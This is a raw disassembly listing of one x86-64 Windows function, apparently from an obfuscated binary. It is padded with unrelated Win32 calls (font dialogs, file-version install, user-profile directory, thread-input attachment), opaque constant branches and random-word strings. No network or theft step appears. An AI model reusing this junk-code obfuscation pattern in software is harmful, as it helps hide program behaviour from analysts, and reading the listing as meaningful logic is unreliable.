mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x203c], eax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [rsp + 0x5170]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5220]
mov qword [rcx], rax
lea rcx, [rsp + 0x1c290]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x210c], eax
mov rax, qword [rsp + 0x5278]
mov rcx, qword [rsp + 0x5198]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1fa0], eax
mov eax, dword [rsp + 0x1fd4]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x1fd4]
mov rax, qword [rsp + 0x5198]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x5150]
mov edx, dword [rax]
mov rax, qword [rsp + 0x5228]
mov ecx, dword [rax]
call fcn.1400de340
nop
mov r9d, dword [rsp + 0x1fb0]
mov rax, qword [rsp + 0x5168]
mov r8, qword [rax]
mov rax, qword [rsp + 0x5178]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rax]
call fcn.1400ddd30
nop
jmp 0x1400dca5e
mov rax, qword [rsp + 0x5228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fa0]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x2058]
mov edx, dword [rsp + 0x1fb0]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1400dca5e
movzx eax, byte [rsp + 0xe7]
mov byte [rsp + 0x4b14], al
cmp byte [rsp + 0x4b14], 0x1b
je 0x1400dca42
cmp byte [rsp + 0x4b14], 0x54
je 0x1400dca01
jmp 0x1400dca5e
mov r8, qword [rsp + 0x53a0]
mov rdx, qword [rsp + 0x5248]
mov rcx, qword [rsp + 0x53a0]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
mov qword [rsp + 0x53c8], rax
movzx edx, word [rsp + 0x82c]
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rax]
call fcn.1400dda10
nop
jmp 0x1400dca5e
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x203c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x51a8]
add rcx, rax
mov rax, rcx
mov qword [str.VZl9], rax
mov rax, qword [0x1400f8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x83c]
add eax, ecx
movsx ecx, word [rsp + 0x830]
movsx edx, word [rsp + 0x838]
sub ecx, edx
cmp eax, ecx
jne 0x1400dcb29
movsx eax, word [rsp + 0x830]
mov dword [rsp + 0x4b18], eax
cmp dword [rsp + 0x4b18], 0x631e
je 0x1400dcad4
cmp dword [rsp + 0x4b18], 0x74d9
je 0x1400dcb10
jmp 0x1400dcb29
lea rcx, [rsp + 0x162c0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
mov qword [rsp + 0x53b0], rax
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rsp + 0x50e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
jmp 0x1400dcb29
mov eax, dword [rsp + 0x1fd4]
mov ecx, dword [rsp + 0x2058]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fb0], eax
jmp 0x1400dcbc4
lea rax, [rsp + 0x163a0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x51c8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x52f8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x5110]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x51c0]
mov r8, qword [rsp + 0x12850]
mov rdx, qword [rsp + 0x52f8]
mov ecx, 7
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x203c], eax
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
movzx eax, word [rsp + 0x828]
movzx ecx, word [rsp + 0x82c]
xor eax, ecx
mov word [rsp + 0x834], ax
lea rax, [rsp + 0x5020]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x51d8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x5020]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x12940]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x53a0]
mov r8, qword [rsp + 0x51c0]
lea rdx, str.indivisible_frillsAmphoraunhealthiestWithdrawals
mov ecx, 0x74
call sub.VERSION.dll_VerFindFileA
mov dword [rsp + 0x1f80], eax
movzx eax, word [rsp + 0x828]
movzx ecx, word [rsp + 0x82c]
add eax, ecx
mov word [rsp + 0x834], ax
mov rax, qword [rsp + 0x5168]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x50b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov rdx, qword [rsp + 0x5118]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jae 0x1400dcdd4
movsx eax, word [0x1400f8f90]
mov dword [rsp + 0x4b1c], eax
cmp dword [rsp + 0x4b1c], 0x46c6
je 0x1400dcc95
jmp 0x1400dcdb8
mov eax, dword [rsp + 0x1d64]
mov ecx, dword [rsp + 0x1f80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
mov dword [rsp + 0x4b20], eax
cmp dword [rsp + 0x4b20], 0x1d7ef480
je 0x1400dcd9a
cmp dword [rsp + 0x4b20], 0xdc970efc
je 0x1400dcce5
jmp 0x1400dcdb6
mov rax, qword [rsp + 0x5198]
mov rcx, qword [rsp + 0x5150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1fb0], eax
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [0x1400f8fa0]
mov byte [rcx], al
lea rax, [rsp + 0x51d8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x12850]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x51c0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x12850]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x53a0]
mov r8, qword [rsp + 0x51d8]
mov rdx, qword [rsp + 0x5110]
mov ecx, reloc.SHELL32.dll_ILClone
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x203c], eax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x5088]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x50c0], rax
jmp 0x1400dcdb6
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0xe5]
and eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
jmp 0x1400dcdd2
movzx eax, word [rsp + 0x840]
movzx ecx, word [rsp + 0x834]
shl eax, cl
mov word [rsp + 0x82c], ax
jmp 0x1400dcdda
call fcn.1400dd710
nop
movzx edx, word [rsp + 0x82c]
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rax]
call fcn.1400dda10
nop
jmp 0x1400dce2b
mov rax, qword [rsp + 0x5170]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5088]
sar rax, cl
mov qword [rsp + 0x4ce8], rax
lea rcx, [rsp + 0x164a0]
call qword [sym.imp.COMDLG32.dll_ChooseFontA]
mov dword [rsp + 0x1f68], eax
lea rcx, [rsp + 0x16510]
call qword [sym.imp.COMDLG32.dll_ChooseFontA]
mov dword [rsp + 0x2068], eax
mov rax, qword [rsp + 0x5010]
mov rcx, qword [rsp + 0x5060]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
jmp 0x1400dcef2
movsx eax, word [rsp + 0x83c]
mov dword [rsp + 0x4b24], eax
cmp dword [rsp + 0x4b24], 0x532e
je 0x1400dce84
jmp 0x1400dce86
jmp 0x1400dceb2
mov rax, qword [rsp + 0x5150]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x50e8]
mov r8, qword [rax]
movzx edx, byte [rsp + 0x79]
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rax]
call fcn.1400ddd30
nop
movsx eax, byte [0x1400f8004]
movsx ecx, byte [rsp + 0xe5]
and eax, ecx
mov rcx, qword [rsp + 0x5178]
mov byte [rcx], al
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x203c], eax
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [0x1400f8005]
add eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x5080]
mov rcx, qword [rsp + 0x5158]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
lea r8, [rsp + 0x50f0]
mov rdx, qword [rsp + 0x51c0]
mov rcx, qword [rsp + 0x5560]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov dword [rsp + 0x1fb4], eax
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x50c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ce8], rax
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x4b28], al
cmp byte [rsp + 0x4b28], 0x1f
je 0x1400dcf6d
jmp 0x1400dcfbf
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5168]
mov qword [rsp + 0x128a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x128a8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5118]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5170]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x50c0]
call fcn.1400dddf0
nop
jmp 0x1400dcfd9
mov eax, dword [rsp + 0x1fd4]
movzx ecx, al
mov eax, dword [rsp + 0x1fb0]
shl eax, cl
mov dword [rsp + 0x1fa0], eax
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x79]
movsx edx, byte [0x1400f8004]
and ecx, edx
cmp eax, ecx
jl 0x1400dd089
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov byte [rsp + 0x4b2c], al
cmp byte [rsp + 0x4b2c], 0x37
je 0x1400dd06d
cmp byte [rsp + 0x4b2c], 0xd2
je 0x1400dd02c
jmp 0x1400dd087
mov rdx, qword [rsp + 0x50a0]
mov rcx, qword [rsp + 0x50a0]
call qword [sym.imp.USER32.dll_SetParent]
mov qword [rsp + 0x5250], rax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x5088]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
jmp 0x1400dd087
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x828]
sub eax, ecx
mov word [rsp + 0x82c], ax
jmp 0x1400dd0cd
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x83c]
add eax, ecx
movsx ecx, word [rsp + 0x830]
movsx edx, word [0x1400f8f90]
add ecx, edx
cmp eax, ecx
jle 0x1400dd0cd
lea rdx, [rsp + 0x2064]
mov rcx, qword [rsp + 0x53a0]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x2144], eax
jmp 0x1400dd140
mov r8d, 0xf0
lea rdx, [rsp + 0x166f0]
mov rcx, qword [rsp + 0x50a0]
call qword [sym.imp.USER32.dll_GetClassNameA]
mov dword [rsp + 0x1fa0], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5128]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe5], al
mov cl, 0x88
call qword [sym.imp.USER32.dll_VkKeyScanA]
mov word [rsp + 0x838], ax
movsx eax, word [0x1400f8f90]
and eax, 0x3ef8
mov word [rsp + 0x830], ax
mov rax, qword [rsp + 0x5150]
mov r9d, dword [rax]
mov r8, qword [rsp + 0x50b8]
mov rax, qword [rsp + 0x5128]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x5010]
call fcn.1400ddd30
nop
movsx eax, byte [rsp + 0x79]
sub eax, 0xe
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
lea r8, [rsp + 0x51b8]
lea rdx, [rsp + 0x50e8]
lea rcx, [rsp + 0x828]
call qword [sym.imp.USER32.dll_IntersectRect]
mov dword [rsp + 0x20c0], eax
movabs rax, 0x5c80681880cb70bf
mov rcx, qword [rsp + 0x5088]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x50c0], rax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5010]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
jmp 0x1400dd25a
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x4b30], al
cmp byte [rsp + 0x4b30], 0x71
je 0x1400dd248
cmp byte [rsp + 0x4b30], 0xa4
je 0x1400dd21f
jmp 0x1400dd25a
mov rax, qword [rsp + 0x50b8]
mov rcx, qword [rsp + 0x5060]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
call fcn.1400dd710
nop
jmp 0x1400dd25a
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
add eax, 0x33
mov byte [rsp + 0x79], al
mov rcx, qword [rsp + 0x55a8]
call qword [sym.imp.USER32.dll_WindowFromDC]
mov qword [rsp + 0x5030], rax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f80]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f5c], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f5c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
lea r8, [rsp + 0x1f68]
mov edx, 0xc9
mov rcx, qword [rsp + 0x5558]
call qword [sym.imp.USER32.dll_GetScrollInfo]
mov dword [rsp + 0x1fb4], eax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov byte [rsp + 0x4b34], al
cmp byte [rsp + 0x4b34], 0xe
je 0x1400dd305
jmp 0x1400dd324
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
sar eax, cl
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
xor edx, edx
mov rax, qword [rsp + 0x5060]
movabs rcx, 0x6c31f2a16bbc710e
div rcx
cmp rax, qword [rsp + 0x5010]
jae 0x1400dd35c
movzx eax, byte [rsp + 0xe4]
xor eax, 0xdf
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov edx, reloc.SHELL32.dll_SHUpdateImageA
mov rcx, qword [rsp + 0x50a8]
call qword [sym.imp.USER32.dll_GetAncestor]
mov qword [rsp + 0x5558], rax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
or eax, 0x51
mov byte [rsp + 0x79], al
mov eax, dword [rsp + 0x1fa0]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x1fa0]
mov r8d, dword [rsp + 0x1fa0]
mov edx, dword [rsp + 0x1fa0]
mov ecx, dword [rsp + 0x1fa0]
call fcn.1400de340
nop
jmp 0x1400dd476
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
lea r9, [rsp + 0x1f80]
lea r8, [rsp + 0x51b8]
mov edx, 0x2f
mov rcx, qword [rsp + 0x5250]
call qword [sym.imp.USER32.dll_DrawAnimatedRects]
mov dword [rsp + 0x1f68], eax
movsx eax, word [0x1400f8f90]
mov dword [rsp + 0x4b38], eax
cmp dword [rsp + 0x4b38], 0x3b7b
je 0x1400dd456
cmp dword [rsp + 0x4b38], 0x7ad5
je 0x1400dd42e
jmp 0x1400dd476
mov dword [rsp + 0x1fa0], 0x10081359
mov eax, dword [rsp + 0x1f5c]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
jmp 0x1400dd476
movabs rax, 0x8b02c9377492edf9
mov rcx, qword [rsp + 0x5010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5060], rax
call fcn.1400dd710
nop
jmp 0x1400dd493
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
sub eax, 0x40
mov byte [rsp + 0xe4], al
movabs rax, 0x2cb3f85a2ad243b9
mov rcx, qword [rsp + 0x5088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5088], rax
mov eax, dword [rsp + 0x1fa0]
mov dword [rsp + 0x4b3c], eax
cmp dword [rsp + 0x4b3c], 0x19411e8a
je 0x1400dd4e0
cmp dword [rsp + 0x4b3c], 0x7c62251d
je 0x1400dd546
jmp 0x1400dd571
lea rdx, [rsp + 0x1fa0]
mov rcx, qword [rsp + 0x51b8]
call qword [sym.imp.USER32.dll_DrawFocusRect]
mov dword [rsp + 0x1fb4], eax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
add eax, 0x3b
mov byte [rsp + 0xe4], al
mov rdx, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x5088]
call fcn.1400dddf0
nop
jmp 0x1400dd571
mov r9d, 0xcc
lea r8, [rsp + 0xe4]
mov rdx, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x5250]
call qword [sym.imp.USER32.dll_DrawCaption]
mov dword [rsp + 0x1fb4], eax
jmp 0x1400dd610
mov eax, dword [section..data]
mov dword [rsp + 0x4b40], eax
cmp dword [rsp + 0x4b40], 0xada527da
je 0x1400dd592
jmp 0x1400dd5f7
movzx eax, byte [rsp + 0xe4]
xor eax, 0x3f
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov r8d, 1
mov edx, 0xa0
mov ecx, 0xf2
call qword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [rsp + 0x1fb4], eax
movzx eax, word [rsp + 0x828]
or eax, 0x5b2
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
shl eax, cl
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
jmp 0x1400dd610
mov eax, dword [rsp + 0x1f80]
movzx ecx, al
mov eax, dword [rsp + 0x1f5c]
shr eax, cl
mov dword [section..data], eax
movzx eax, word [rsp + 0x828]
sub eax, 0x433
mov word [rsp + 0x828], ax
mov eax, dword [rsp + 0x1f80]
mov dword [rsp + 0x4b44], eax
cmp dword [rsp + 0x4b44], 0xf91337d4
je 0x1400dd644
jmp 0x1400dd659
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
and eax, 0x57
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0xe4]
sub eax, 0xde
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
call fcn.1400dd710
nop
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x4b48], al
cmp byte [rsp + 0x4b48], 0x59
je 0x1400dd68e
jmp 0x1400dd6c4
movzx eax, byte [rsp + 0xe4]
and eax, 0x24
mov byte [rsp + 0xe4], al
lea rcx, [rsp + 0x79]
call qword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [rsp + 0x2064], eax
mov edx, 0x9d
mov ecx, 0x5c
call fcn.1400dddf0
nop
jmp 0x1400dd6fb
movsx eax, byte [rsp + 0x79]
sar eax, 6
mov byte [rsp + 0x79], al
mov r9d, 0x5e
mov r8, qword [rsp + 0x128b0]
lea rdx, [rsp + 0xe4]
mov rcx, qword [rsp + 0x5558]
call qword [sym.imp.USER32.dll_RedrawWindow]
mov dword [rsp + 0x20c0], eax
mov eax, dword [rsp + 0x41fc]
add rsp, 0x221b8
ret